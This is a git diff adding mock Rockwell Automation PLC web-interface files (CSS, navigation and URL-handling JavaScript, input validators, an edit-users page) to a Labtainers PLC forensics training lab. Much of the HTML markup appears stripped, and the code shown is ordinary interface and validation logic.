FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers.html new file mode 100644 index 000000000..727debbbe --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers.html new file mode 100644 index 000000000..4482eb017 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers.html @@ -0,0 +1,142 @@ + + +Rockwell Automation + + + + + + + + + +
+ + + + + + + + +
Edit UsersEdit Access Limits
+ + + + + + + +

+ + + + +
+ + + +
+ + + + + + + + + + + + + + + + + + + + + +
DeleteEditUser NameGroup
Administrator Administrators
ftpuser Administrators
Guest Administrators
+
+ + + +
+ + + + + + + + + + + + + +
Add a + User
User ID:
Group:
Password:
Confirm Password:
+
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/delete.bmp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/delete.bmp new file mode 100644 index 000000000..5103109e9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/delete.bmp differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/edit.bmp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/edit.bmp new file mode 100644 index 000000000..fcabcf210 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/edit.bmp differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/javaConfirm.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/javaConfirm.js new file mode 100644 index 000000000..d0156a96c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/javaConfirm.js @@ -0,0 +1,123 @@ +function jsConfirm(msg_text) { return confirm(msg_text); } + +function URLvalidate(url) { + var re = /^\/([^\\:\*\?"<>\|\/]{1,80}\/){0,63}([^\\:\*\?"<>\|\/]{1,80})?$/; + if (re.test(url)) { + return true; + } else { + alert("The URL appears invalid. A filename must not contain any of the following characters:\n\\ / : * ? < > |\n\nA valid URL begins with a leading slash (/), must contain fewer than 64 path segments, and each segment must be less than or equal to 80 characters in length."); + return false; + } +} + +function addrValidate(address, addrType) +{ + ipArray = new Array(4); + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(address)) { + var parts = address.split("."); + + if ((parseInt(parseFloat(parts[0])) == 0)&&(addrType != "GW")) { return false; } + + for (var i=0; i 255)||(parts[i] != Math.abs(parts[i]))) { return false; }// no negative numbers + } + + if ((addrType == "IP") || (addrType == "NS")) // ip, gateway, nameserver have first octet restrictions + { + if((parseInt(parseFloat(parts[0])) == 0) || (parseInt(parseFloat(parts[0])) == 127) || (parseInt(parseFloat(parts[0])) > 223)) + { return false; } + } + return true;} + else { + if((addrType == "GW") || (addrType == "NS")) + { + return true; // blank gateway or nameservers is valid. + } + else + { + return false; + } + } + } + +function isValidIP (ipaddr) +{ + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(ipaddr)) { + var ipArray = ipaddr.split("."); + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + } + if (ipArray[0] < 128) { + if (ipArray[0] == 0 || (ipArray[1] == 0 && ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[1] == 255 && ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 127) return false; // network is all ones + } else if (ipArray[0] < 192) { + if ((ipArray[0] = 128 && ipArray[1] == 0) || (ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 191 && ipArray[1] == 255) return false; // network is all ones + } else if (ipArray[0] < 224) { + if ((ipArray[0] == 192 && ipArray[1] == 0 && ipArray[2] == 0) || ipArray[3] == 0) return false; // host or network all zeros + if (ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 223 && ipArray[1] == 255 && ipArray[2] == 255) return false; // network is all ones + } else return false; // Unsupported address class + return true;} + else { + return false; + } +} + +function isValidSubnet (subnetAddr) +{ + var i, subnet = 0; + var mask = 0x00000001, count = 1; + + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(subnetAddr)) { + var ipArray = subnetAddr.split("."); + + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + subnet |= (parseInt(parseFloat(ipArray[i])) << (8 * (3 - i))); + } + + + done = false; + for (i=0; i<4; i++) { + if (ipArray[i] == 255) { + if (done) return false; + } else if ((ipArray[i] == 254) || (ipArray[i] == 252) || (ipArray[i] == 248) || (ipArray[i] == 240) || (ipArray[i] == 224) || (ipArray[i] == 192) || (ipArray[i] == 128)) { + if (!done) done = true; + else return false; + } else if (ipArray[i] == false) { + if (!done) done = true; + } else { + return false; + } + } + + return true;} + else { + return false; + } + +} + +function isValidEmail(emailAddr) +{ + var regexpr = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/ + + return regexpr.test(emailAddr); +} + +function isValidHostname(hostname) { + var regexpr = /^[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$/ + + return regexpr.test(hostname); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/menseponoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/menseponoff.gif new file mode 100644 index 000000000..8135de9c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/menseponoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/menuendoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/menuendoff.gif new file mode 100644 index 000000000..584111416 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/menuendoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/menustarton.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/menustarton.gif new file mode 100644 index 000000000..d1315876e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/menustarton.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/editusers_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editusers_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; 